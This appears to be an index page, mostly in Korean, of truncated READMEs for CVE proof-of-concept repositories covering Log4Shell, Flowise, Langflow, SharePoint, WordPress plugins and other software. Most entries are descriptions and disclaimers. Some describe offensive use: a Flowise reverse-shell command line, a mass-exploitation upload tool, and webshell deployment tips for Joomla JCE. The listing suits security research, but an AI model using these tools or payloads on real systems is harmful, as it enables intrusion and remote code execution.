log4j2-vuln-lab

⚠️ 면책 조항 : 이 프로젝트는 보안 학습 및 기술 연구 목적으로만 제공되며, 모든 취약점 환경은 로컬에서 구축되었고 실제 대상에 대한 테스트는 수행되지 않았습니다. 불법적인 용도로 사용하지 마시기 바라며, 이 프로젝트 사용으로 인한 위험은 사용자 본인에게 있습니다. Log4j2 취약점 재현 실습 환경 CVE-2021-44228 취약점 개요 Log4j2는 Java 생태계에서 가장 널리 사용되는 로깅 프레임워크입니다. 로그에서 $... 구문을 사용하여 동적 콘텐츠를 삽입할 수 있는 Lookup 기능이 있습니다. 2.14.1 이하...

CVE-2026-26719

설명 요약 xxl-job-admin의 JobInfoController.java에서 addressList 매개변수가 검증되지 않은 URL 인코딩 자바스크립트를 허용하여 저장형 크로스 사이트 스크립팅XSS 취약점이 존재합니다. 페이로드가 저장된 후 사용자의 브라우저에서 실행되어 허가되지 않은 작업을 초래합니다. 영향받는 제품 xxl-job 3.4.0 영향 xxl-job-admin v.3.4.0의 크로스 사이트 스크립팅 취약점으로 인해 원격 공격자가 악성 스크립트가 포함된 조작된 HTTP GET 요청을 통해 임의 코드를 실행할 수...

wordpress-rce-vapt-cve-2020-25213

WordPress RCE 익스플로잇 및 완화 CVE-2020-25213 📌 프로젝트 개요 이 프로젝트는 IE4012 – 오펜시브 해킹 전술 및 전략 모듈의 일환으로 개발되었습니다. 통제된 실험실 환경에서 전체 사이버 보안 공격 라이프사이클을 시연하며, 다음을 포함합니다: 사회공학 공격 악성코드 시뮬레이션 취약점 익스플로잇 VAPT 분석 보안 패치 구현 🎯 대상 취약점 CVE ID: CVE-2020-25213 취약점: WordPress File Manager 플러그인 원격 코드 실행 심각도: 치명적 CVSS 9.8 유형: 인증되...

PoC-CVE-2024-23113

고지Disclaimer 이 저장소에 포함된 코드와 자료는 교육, 연구 및 승인된 보안 테스트 목적 으로만 제공됩니다. 금지된 사용 소유자의 명시적인 사전 서면 승인 없이 이 도구/코드를 인프라, 시스템 또는 네트워크에 사용하지 마십시오. 승인되지 않은 스캐닝, 악용 또는 악의적인 활동에 이 자료를 사용하는 것은 전적으로 불법이며 엄격히 금지됩니다. 책임의 한계 이 소프트웨어는 명시적이거나 묵시적인 어떠한 종류의 보증 없이 "있는 그대로" 제공됩니다. 저자/기여자는 이 코드의 사용 또는 수정으로 인해 발생하는 오용, 손해, 데이...

CVE-2021-44228

🚨 CVE-2021-44228 — “Log4Shell” Apache Log4j 2 의 치명적인 원격 코드 실행 취약점으로, Log4Shell 로 널리 알려져 있습니다. 📖 목차 개요 기술적 세부사항 심각도 및 CVSS 영향을 받는 버전 익스플로잇 및 영향 실제 영향 탐지 완화 및 수정 요약 🔎 개요 CVE-2021-44228 은 Apache Log4j 2 버전 2.x 2.15.0 이전에서 2021년 12월에 발견된 치명적인 RCE 취약점입니다. 인증되지 않은 원격 공격자가 특수하게 조작된 입력을 Log4j가 기록하도록 하여 취...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Flowise -c "id" 기존 키로 리버스 셸: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 옵션 Flag| 설명 ---|--- -t, --target| 대상 URL -e, --email| 대상 계정 이메일 ATO 체인 트리거 --api-key| API 키 직접 제공 ATO 건너뛰기 -c, --command| 실행할 명령어 --lhost| 리버스 셸용 공격자 IP...

CVE-2026-73570

CVE-2026-73570 CVE-2026-73570 PoC More echo 'EHLO mx-1787907797.invalid MAIL FROM: RCPT TO: QUIT\r\n' | nc 127.0.0.1 587...

CVE-2026-12940-Langflow-Unauth-RCE

CVE-2026-12940 — Langflow OSS ≤ 1.10.1 인증되지 않은 RCE MCP stdio 환경변수 주입 1.10.1까지의 Langflow OSS에서 발생하는 인증되지 않은 원격 코드 실행 취약점입니다. MCP stdio 서버 구성을 보호하는 환경변수 블랙리스트DANGEROUSENVVARS에 SHELLOPTS, BASHOPTS, PS4가 누락되어 있습니다. MCP stdio 런처가 구성된 명령어를 bash -c로 실행하기 때문에, 공격자는 SHELLOPTS=xtrace와 PS4 명령어 치환을 주입하여...

CVE-LiteLLM

cve-id ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하십시오: 로컬 가상 머신 Docker 컨테이너 격리된 실험실 환경 승인된 침투 테스트 환경 설정 예시: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL...

POC-AIOWPM-CVE-2026-19949

CVE-2026-19949 — Prueba de concepto documentada y reproducible en Docker Inyección SQL de segundo orden no autenticada en All-in-One WP Migration and Backup WordPress que escala a filtrado de la ai1wmsecretkey y, con ella, a ejecución remota de código RCE. Lee esto en: English · Español | ---|---...

CVE-2025-53770

CVE-2025-53770 이 스캐너는 SharePoint 비인증 원격 코드 실행 취약점CVE-2025-53770로 지정됨을 위한 것입니다. 이 코드는 실제 환경에서 발견된 페이로드를 리버스 엔지니어링하여 작성되었습니다. 사용에 따른 책임은 본인에게 있으며, 이로 인해 발생하는 부정적인 영향에 대해 책임지지 않습니다. 작동 방식 SharePoint ToolBox 위젯에 마커를 주입하여 취약점을 악용하려고 시도합니다. SharePoint 서버 응답에서 이 무해한 마커가 발견되면 해당 호스트는 취약한 것으로 표시됩니다. 사용 방법...

CVE-2026-4885

CVE-2026-4885 – Piotnet Addons for Elementor Pro 대량 익스플로잇 Piotnet Addons for Elementor Pro ≤ 7.1.70에서 인증되지 않은 임의 파일 업로드를 통한 원격 코드 실행RCE 이 도구는 대량 익스플로잇 을 위해 설계되었습니다. 대상 목록을 입력하면 자동으로 다음 작업을 수행합니다: 플러그인 버전 감지또는 에셋이 발견되면 취약한 것으로 간주 postid, formid, 올바른 업로드 필드 이름을 추출하기 위한 고급 정찰 수행 여러 PHP 확장자.phtml,...

CVE-2025-58440

CVE-2025-58440 Laravel FileManager에서 Polyglot 파일 공격과 Null Byte Injection을 통한 원격 코드 실행RCE 개요 unisharp/laravel-filemanager 패키지 2.11 버전은 파일 업로드 시 부적절한 파일 유형 검증으로 인해 원격 코드 실행RCE 취약점에 노출됩니다. 이 취약점으로 인해 공격자는 파일 확장자 검증을 악용해 GIF 이미지로 위장한 악성 PHP 파일을 업로드할 수 있습니다. 구체적으로, 공격자는 .php 확장자에 마침표.를 추가하고 GIF89a; 헤더...

CVE-2026-25089

🚨 CVE-2026-25089 - FortiSandbox의 치명적인 OS Command Injection 📖 개요 CVE-2026-25089 은 여러 Fortinet FortiSandbox 배포에 영향을 미치는 치명적인 OS Command Injection CWE-78 취약점입니다. 인증되지 않은 원격 공격자는 특수하게 조작된 HTTP 요청을 전송하여 이 결함을 악용할 수 있으며, 이를 통해 기본 운영 체제에서 임의의 명령 실행이 가능합니다. ⚠️ 성공적인 악용 시 어플라이언스 전체가 손상되고 원격 코드 실행RCE으로 이어질 수...

CVE-2026-0740

CVE-2026-0740 Ninja Forms File Uploads = 3.3.26 - 인증되지 않은 임의 파일 업로드를 통한 원격 코드 실행 RCE CVE-2026-0740에 대한 익스플로잇, 발견자: Selim Lanouar whattheslime. 완전한 기술적 심층 분석은 Lexfo 블로그의 전체 기사를 참조하십시오. Disclaimer 이 저장소는 연구 및 방어적 보안 목적으로만 제공됩니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다. Overview WordPress용 Ninja Forms - File...

AEMPWN

AEMPWN CVE-2025-54253 및 CVE-2025-54254를 위한 AEM Forms 스캐너 AEMPWN은 고위험 Adobe Experience Manager AEM Forms 취약점을 식별하기 위한 대상 스캐너로, 안전한 탐지, 블라인드 OOB Out-of-Band 확인 및 전체 PoC Proof-of-Concept 검증 워크플로를 지원합니다. 이 도구는 공인된 보안 테스트 전용으로 설계되었습니다. 지원되는 취약점 CVE-2025-54253 AEM Forms JEE에서 구성 종속 원격 코드 실행...

UBUNTU-CVE-2026-100813

Invalid pointer in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 157...

cisco-CVE-2023-20009

소개 보안 연구원: ly1g3, ly1g3attuta.io GPG 지문: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 개요: 원격 코드 실행 - 설정 파일로부터의 RCE CVE: CVE-2023-20009 타임라인: 발견 - ly1g3 보고 - ly1g3 수정 - Cisco Cisco AsyncOS 14.2.0 ESA Cisco Secure Email 및 Cisco Secure Email and Web Manager...

CVE-2026-42945

CVE-2026-42945 — NGINX Rift NGINXngxhttprewritemodule의 힙 버퍼 오버플로우 Metric| Value ---|--- CVSS v4.0| 9.2 위험 CVSS v3.1| 8.1 높음 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| 122 — 힙 기반 버퍼 오버플로우 도입됨| 2008년 6월 — v0.6.27 발견됨| 2026년 4월 — DepthFirst Research 수정됨| 2026년 5월 13일 — v1.30.1, v1.31.0 CVE 게시됨| 2026...

CVE-2026-48907

CVE-2026-48907 CVE-2026-48907은 Joomla용 JCE 에디터 확장 기능의 심각한 부적절한 접근 제어 취약점입니다. 이를 통해 인증되지 않은 공격자가 새로운 편집기 프로필을 생성할 수 있으며, 궁극적으로 영향을 받는 시스템에서 임의의 PHP 파일 업로드 및 원격 코드 실행으로 이어질 수 있습니다. 또한 웹셸이 필요하다면 아무 웹셸이나 사용할 수 있습니다. alfa.php로 이름을 바꾸거나 커스텀한 PHP 이름을 사용하세요. 단, 파이썬 코드에서 이름을 변경해야 합니다. 그러니 그냥 즐기세요. 한 가지 더,...